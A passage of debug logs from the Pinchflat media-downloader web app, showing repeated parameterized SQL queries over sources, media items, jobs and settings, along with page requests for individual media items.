m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:21.183 [debug] QUERY OK source="sources" db=0.4ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.183 [debug] QUERY OK source="media_items" db=0.8ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.184 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [10] 22:17:21.184 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.185 [debug] QUERY OK source="sources" db=0.3ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.185 [debug] QUERY OK source="media_items" db=1.1ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [10, 10, 0] 22:17:21.186 [debug] QUERY OK source="media_items" db=0.7ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 22:17:21.187 [debug] QUERY OK source="media_items" db=0.9ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:21.187 [info] Sent 200 in 24ms 22:17:21.187 [debug] QUERY OK source="media_items" db=2.5ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 22:17:21.188 [info] Sent 200 in 20ms 22:17:21.189 [debug] QUERY OK source="media_items" db=1.7ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:21.190 [info] Sent 200 in 23ms 22:17:21.410 [info] GET /sources/6/media/13821 22:17:21.411 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13821", "source_id" => "6"} Pipelines: [:browser] 22:17:21.412 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=226.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13821] 22:17:21.413 [debug] QUERY OK source="tasks" db=0.6ms idle=226.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13821] 22:17:21.413 [debug] QUERY OK source="sources" db=0.7ms idle=225.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:21.414 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=226.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2316] 22:17:21.415 [debug] QUERY OK source="settings" db=0.3ms idle=225.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.415 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.416 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.417 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:21.420 [info] Sent 200 in 9ms 22:17:21.656 [info] GET /sources/2/media/13708 22:17:21.657 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13708", "source_id" => "2"} Pipelines: [:browser] 22:17:21.657 [info] GET /sources/2 22:17:21.658 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:21.659 [info] GET /sources/7/media/13747 22:17:21.660 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13747", "source_id" => "7"} Pipelines: [:browser] 22:17:21.660 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=243.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13708] 22:17:21.661 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=243.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:21.662 [info] GET /sources/10/media/13812 22:17:21.662 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=244.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13747] 22:17:21.662 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13812", "source_id" => "10"} Pipelines: [:browser] 22:17:21.662 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=243.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13708] 22:17:21.663 [debug] QUERY OK source="sources" db=1.6ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:17:21.663 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=88.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:21.663 [debug] QUERY OK source="tasks" db=0.4ms queue=0.4ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13747] 22:17:21.664 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13812] 22:17:21.664 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=0.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2317] 22:17:21.665 [debug] QUERY OK source="tasks" db=0.8ms idle=0.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 22:17:21.664 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:21.666 [debug] QUERY OK source="tasks" db=1.1ms queue=0.1ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13812] 22:17:21.666 [debug] QUERY OK source="oban_jobs" db=1.4ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2347] 22:17:21.666 [debug] QUERY OK source="settings" db=1.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.667 [debug] QUERY OK source="oban_jobs" db=1.6ms idle=0.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2308] 22:17:21.667 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 22:17:21.668 [debug] QUERY OK source="settings" db=0.5ms queue=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.668 [debug] QUERY OK source="settings" db=1.0ms queue=0.4ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.668 [debug] QUERY OK source="settings" db=1.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.669 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.669 [debug] QUERY OK source="oban_jobs" db=1.8ms idle=0.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2311] 22:17:21.669 [info] GET /sources/7/media/14408 22:17:21.670 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14408", "source_id" => "7"} Pipelines: [:browser] 22:17:21.669 [debug] QUERY OK source="settings" db=0.7ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.670 [debug] QUERY OK source="settings" db=1.7ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.671 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.671 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 22:17:21.672 [debug] QUERY OK source="settings" db=1.3ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.672 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.672 [debug] QUERY OK source="settings" db=1.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:21.673 [debug] QUERY OK source="media_profiles" db=2.3ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", 